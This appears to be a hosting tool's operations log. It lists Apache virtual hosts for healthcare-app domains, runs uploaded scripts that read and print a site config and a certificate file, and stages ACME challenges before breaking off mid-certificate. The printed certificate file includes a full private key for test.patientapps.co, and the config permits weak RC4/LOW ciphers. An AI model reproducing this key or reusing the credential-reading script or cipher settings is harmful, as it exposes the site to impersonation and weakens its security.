port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-20 12:43:29:
PUT: /tmp/pkp834801
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-20 12:43:29:
chmod 755 /tmp/pkp834801; /tmp/pkp834801; rm /tmp/pkp834801
2025-11-20 12:43:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 1340
<VirtualHost *:80>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_access.log combined
ErrorLog /var/log/apache2/patientapps/test_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName test.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
DocumentRoot /var/www/patientapps_test
<Directory /var/www/patientapps_test>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/test_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/test_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-20 12:43:29:
PUT: /tmp/pkp679931
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-20 12:43:29:
chmod 755 /tmp/pkp679931; /tmp/pkp679931; rm /tmp/pkp679931
2025-11-20 12:43:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293 5360
68:42:d3:97:35:74:b7:0c:fc:32:e5:fa:ab:c8:a4:75
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBTsfSQUpgzKj8saT0oj/0EBiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTIwMTE0NDU3WhcNMjYwMjE4MTE0NDU2WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAzMGunPKf+hafD/aDx95mT2fvj7MKE3dB2Lkw7jRlD52f7hTM5Xg9IO/4
LsPtVF+Mp/26dS9e/KogU3RagK15PWRmXjKr3vJYm+7e24WxqWQJiA2mE88ZoaIb
iRlmdsJUZQ3EIk7PuQT50/HJzdLmFDNnmPeBkBmaLDlHyYF3QW0MQ53DKATsSxDP
N7yA0LSTmo709xD4IXnewJPRqxMMJzkBLdgZ1KqhO3QBeRiZc8gfOYR2yFeqvNk8
Sug9AAlbdguOxIGLN30B+kP3Nmyy7q2zMAp1QjYwlDz1w7k37ytsS4lmmayKFx+7
Le08vNl1ELFjjI74jGmvTSp0gQiuhwIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTY7R++pnCrtg6maYmr6nu8XLvkeDAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85OS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZqhSof1AAAE
AwBIMEYCIQD5o64y3e5TdH0Po1ZXpTuQNnAZ3icwqjkCi0xvIEXsJQIhANNeYcOA
L1+YTN60GiXghxWl+hY0+6aU14pr8Nlf6kaCAHYASZybad4dfOz8Nt7Nh2SmuFuv
CoeAGdFVUvvp6ynd+MMAAAGaoUqH9QAABAMARzBFAiAusTr1Vr8KjKFSGBWb5UHd
K6Qvx3qHoe8gxhFndA/E2wIhAJP+jjVNHgVkKQAom0kvdJSWzv4sEwRF2MnwZJDq
ybuCMA0GCSqGSIb3DQEBCwUAA4IBAQAjGcXbHfre2ML3+9vnUZxtCeQLNmcnLSmJ
0dpK0M3xIYG7ByM8AvOKCsVU05s2lqxjZiz9KZYg2K090Jq/URvl/uY4o7UCexeG
YHjZJF0yMqWavC2CarBK0r1Tm528HzNEkI0zh68LWWhRh/uDiB/ko1NQTmIN+MxZ
4/Oi6CSBGBJcq8Fs+Lia9lkNTcw9eXxV3lSSLpYgcwCpMuHH+lKi0WZh3zyGFdfk
AZUvDAhut4D/uENc6Bi44BS88t0cb33sm1KdK9T198JwphiWLu5xtDORS/9qp7YB
+ewkYyAzTTOoYm2bQQkPN9/jY/eQPXqUN33ZcE33bK4abQ1QnCU2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDMwa6c8p/6Fp8P
9oPH3mZPZ++PswoTd0HYuTDuNGUPnZ/uFMzleD0g7/guw+1UX4yn/bp1L178qiBT
dFqArXk9ZGZeMqve8lib7t7bhbGpZAmIDaYTzxmhohuJGWZ2wlRlDcQiTs+5BPnT
8cnN0uYUM2eY94GQGZosOUfJgXdBbQxDncMoBOxLEM83vIDQtJOajvT3EPghed7A
k9GrEwwnOQEt2BnUqqE7dAF5GJlzyB85hHbIV6q82TxK6D0ACVt2C47EgYs3fQH6
Q/c2bLLurbMwCnVCNjCUPPXDuTfvK2xLiWaZrIoXH7st7Ty82XUQsWOMjviMaa9N
KnSBCK6HAgMBAAECggEAZW+yJHiiPlAEnvDeGh8YilAQQx1MaZZUHZypG+kDA/hv
qY/ObgPiLLYVOn2/zmPDl9nADJvaL8vMVeu3hjXqcTqS6CmsMbfXo/BzoUcbW7J+
clNoqjmYFhXsFEBsHXtqOeHW/7QRfjRz28bV1cycRPeuY/6BxjSYxz3dTXuA6/zK
ERSi+BxLJmBPV4shiTU5VRCeeFH/RTPA6oHlvApUZxLGWowl9nkAnK3qtsT94ugo
8ZdxF638fuMETGLNdLH33GqD/Il78vWiJqVSZGlt6j1AeLpnf5SSN9JWYh5g+nR8
db69aUXA0NvulXal4Y+zmA6Zf1g73/zkRbkn2a4JIQKBgQDnodDzqFEPVBS2vIv5
VA6xUKIaoHzlaF/BepYIWWQwC4SZRhjciTb4wX3tiOqOUrTvp8IFal2Ll4SQMuuW
u7ZXPY/KHO4ZPTF7lOMXfSW+oCM4iXjJOVbG/Nd77cCnwPgJcxh+yX8yLPv8C5X9
/I54FEYur1x68WnzVk8ylQFglwKBgQDiTBHNo9ZPctx6snGEJh7jws83k/V6mPiC
AlscSuzW+NIEr8iiXeMUUjOFpC/uQWEO/aVfpAy+loXTT2bCGsqAFPuIS4gOONNn
tKZXAExSRix4KMAMpBRAP2NokHGKeRydd9VTpbszUt6HeqyAjJpFHIJIBFkX8X2X
Z6enbQzvkQKBgQCkZ6IbjzgZnSAmo6TmDtdu20Bzjb2YRoDQnuWmf2ww/bvb3nj+
7xVpckyjMC7rXaC3CWcY2OoUjjK09q9oiUtemH9agTYuC9T3VjHpFhaYOqlFE637
hQsmqYd4msPHTZu/eUXFl9cEEhG4T7DiWUP1zs4RjL4jNP5yjKwhxsj3eQKBgQDQ
cf9oK0UJ86RRRLM5ZZ/IbjZPXHOelO87Wg4wlndoYNObS4wEu3Si0EDzFdSsov5T
P6Kn4UV3/NCSXy4pF2J17l3vIpvVddSNTyJ1OyoSEt99YxPb0PtyXrEjrQFY6sxH
5AzVOvCfivK9WmsxEdI8XNFIovCqFGB6KRmOJ+3lcQKBgD28Lq3Ibg4jo3IelJ9g
Jn7yBEvLA/iIh5bbCp53cq4VBoBAk8lVk8hDyGu2s5Bv6h6nBglx8fmRLrTpZ9vu
I72nPodwrr+sCdYEhnm1onZT0LoLZ59WPpckneuMXDbUIPzrVsT8Jqf6S1mZ163V
wmt3+FQ/jYJnzWMNb3WTVE3K
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-21 06:00:01: Establishing a connection
2025-11-21 06:00:02: Establishing a connection
2025-11-21 06:00:02:
PUT: /tmp/pkp823076
#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-21 06:00:04:
chmod 755 /tmp/pkp823076; /tmp/pkp823076; rm /tmp/pkp823076
2025-11-21 06:00:04:
1
2025-11-21 06:00:05: Establishing a connection
2025-11-21 06:00:05:
PUT: /tmp/pkp145817
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs
cat > qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g
2025-11-21 06:00:05:
chmod 755 /tmp/pkp145817; /tmp/pkp145817; rm /tmp/pkp145817
2025-11-21 06:00:05:
2025-11-21 06:00:16: Establishing a connection
2025-11-21 06:00:16:
PUT: /tmp/pkp497814
#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs
rm qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g
2025-11-21 06:00:16:
chmod 755 /tmp/pkp497814; /tmp/pkp497814; rm /tmp/pkp497814
2025-11-21 06:00:16:
2025-11-21 06:00:16: Establishing a connection
2025-11-21 06:00:16:
PUT: /tmp/pkp361604
#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt
cat > $temp_file <<'endmsg'
d7:59:cc:d7:ba:f0:53:c1:ab:4a:f5:73:6c:26:9b:e4
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBhupW4GcJUOs+Cv+5h2cKblUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTIxMDUwMTQ1WhcNMjYwMjE5MDUwMTQ0WjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANEVPl+Vd9MAZSqfplzNlwAGVx+6vDcS8KNWThR8MCqjsgvOXPa+TM1R3s8m
gDFmZiwheL+7CHtETx9cRdQwNaQseQVJsGVVVO6HNH0ZsVoqwcZtg59RRRWRphv7
heAEQjLGZAXrLIhIOE4oqs9dL+JmJclyRkpJyInheCHS2/mRc66h6jYWn1meRnyZ
e/IPs7xHx6cm9nEG3+LD2CbcYLoGeDFhnl+6JCzMYzHCZqY9O+3KQm5iLDNyRiYu
eVMdAfDuRz2gciXNbIOGaNwRzhEnVxpM1KhwYBYFJCqX46wTIRlRaZIAItioxklL
ZujcwHPjy/P/TxC3lhsYYVIcR+0CAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU37vSDfV5nUOsTuNjy5gJ5YJz+qowHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
